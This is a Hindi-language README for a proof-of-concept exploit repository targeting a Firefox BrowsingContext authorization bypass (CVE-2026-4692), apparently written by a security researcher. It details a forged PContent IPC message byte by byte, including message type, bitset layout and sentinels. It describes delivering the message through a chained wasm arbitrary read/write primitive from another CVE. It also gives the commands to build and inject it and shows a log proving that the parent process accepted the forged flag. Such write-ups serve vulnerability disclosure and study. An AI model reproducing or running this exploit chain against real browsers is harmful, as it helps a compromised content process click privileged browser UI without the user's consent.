
Firefox BrowsingContext प्राधिकरण बाईपास (CVE-2026-4692) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो InRDMPane सेट करने और विशेषाधिकार प्राप्त UI टच-इवेंट इंजेक्शन सक्षम करने के लिए जाली IPC संदेशों का प्रदर्शन करता है।
BrowsingContext फ़ील्ड सिंक्रोनाइज़ेशन पर अनुपलब्ध प्राधिकरण जाँच के लिए प्रूफ ऑफ कॉन्सेप्ट: एक समझौता किया गया कंटेंट प्रोसेस अपने स्वयं के टॉप-लेवल BrowsingContext पर InRDMPane = true सेट करते हुए एक PContent::CommitBrowsingContextTransaction संदेश जाली बनाता है, और पैरेंट इसे लागू कर देता है।
लक्ष्य: Firefox 149.0a1 नाइटली @ 2fbc0748c4 (कमजोर, फिक्स-पूर्व), macOS arm64।
Firefox 149 में फिक्स किया गया — बग 2017643, कमिट a9279ce332ed ("Prevent toggling RDM BrowsingContext flag from content processes"), जो निम्न जोड़ता है:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // reject if from content
}
InRDMPane पैरेंट को बताता है कि टैब एक रिस्पॉन्सिव डिज़ाइन मोड पेन है। पैरेंट सिंथेसाइज़्ड टच इवेंट्स के हिट-टेस्टिंग के दौरान इस पर भरोसा करता है (BrowserParent::RecvDispatchTouchEvent): नाममात्र रूप से RDM पेन को लक्षित करने वाले इवेंट्स को विशेषाधिकार प्राप्त क्रोम UI पर उतरने की अनुमति दी जाती है। एक समझौता किया गया कंटेंट प्रोसेस जो फ़्लैग सेट करता है, वह नकारात्मक/ऑफ-कंटेंट निर्देशांक के साथ टच इवेंट्स भेज सकता है और उपयोगकर्ता इंटरैक्शन के बिना विशेषाधिकार प्राप्त UI पर क्लिक कर सकता है (रिपोर्टर का repro.patch बग 2017643 पर देखें, जो पैच किए गए बिल्ड के साथ ठीक यही प्रदर्शित करता है)। यह रिपॉजिटरी स्वयं सक्षम करने वाली सीमा उल्लंघन को प्रदर्शित करती है, एक वास्तविक संदेश जालसाजी के साथ — कोई ब्राउज़र स्रोत पैच नहीं।
PContent::CommitBrowsingContextTransaction — संदेश प्रकार 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311), रूटिंग MSG_ROUTING_CONTROL
(INT64_MAX), फ़्लैग्स NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 modified bitset word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> words are size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epoch check is MOZ_ASSERT-only; compiled out here)
u32 132121169 sentinel 'aEpoch'
डिलीवरी CVE-2026-74939 सेंड पाथ का पुन: उपयोग करती है: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send PContent चैनल पर, JS से wasm funcref-कॉल प्रिमिटिव के माध्यम से संचालित (wasm-bytes.js, स्टेज-1 = CVE-2026-2796)।
पैरेंट-साइड लॉग (MOZ_LOG=BrowsingContextSync:5) ./irun के बाद:
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 पॉपअप का टॉप-लेवल BrowsingContext है (चाइल्ड-आवंटित आईडी, from IPC से निर्मित), और ipc ट्रांज़ैक्शन को कंटेंट-उत्पत्ति के रूप में चिह्नित करता है। एक फिक्स्ड बिल्ड पर वही संदेश CanSet सत्यापन में विफल हो जाता है और अस्वीकार कर दिया जाता है।
पूर्वापेक्षाएँ: कमजोर Nightly बिल्ड /Users/sid/gecko-2766/obj-browser पर, psutil के साथ .venv, और बंडल किया गया लॉगिंग सर्वर चल रहा हो:
python3 srv.py > /tmp/srv4692.log 2>&1 & # serves this dir on :8781
python3 forge_bctx.py # build bctx.bin/bctx.json
./irun # launch + inject + collect evidence
a9279ce332ed (MFSA 2026-20, Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| फ़ाइल | उद्देश्य |
|---|
bctx.html | PoC पेज: रनटाइम पर पॉपअप BC आईडी की गणना करता है, इसे जाली संदेश में पैच करता है, भेजता है |
forge_bctx.py | bctx.bin/bctx.json बनाता है (स्व-सत्यापन), BC आईडी को छोड़कर पूरी तरह से स्थिर |
wasm-bytes.js | स्टेज-1 प्रिमिटिव: arb R/W, funcref कॉल |
mdrive2.py | मैरियोनेट हार्नेस |
irun | इंस्ट्रूमेंटेड रन: lldb अटैच + BrowsingContextSync साक्ष्य |
srv.py | PoC पेजों के लिए लॉगिंग वेब सर्वर (:8781) |
profile.user.js | Firefox प्रोफ़ाइल प्रेफरेंस (fission on, dump enabled) |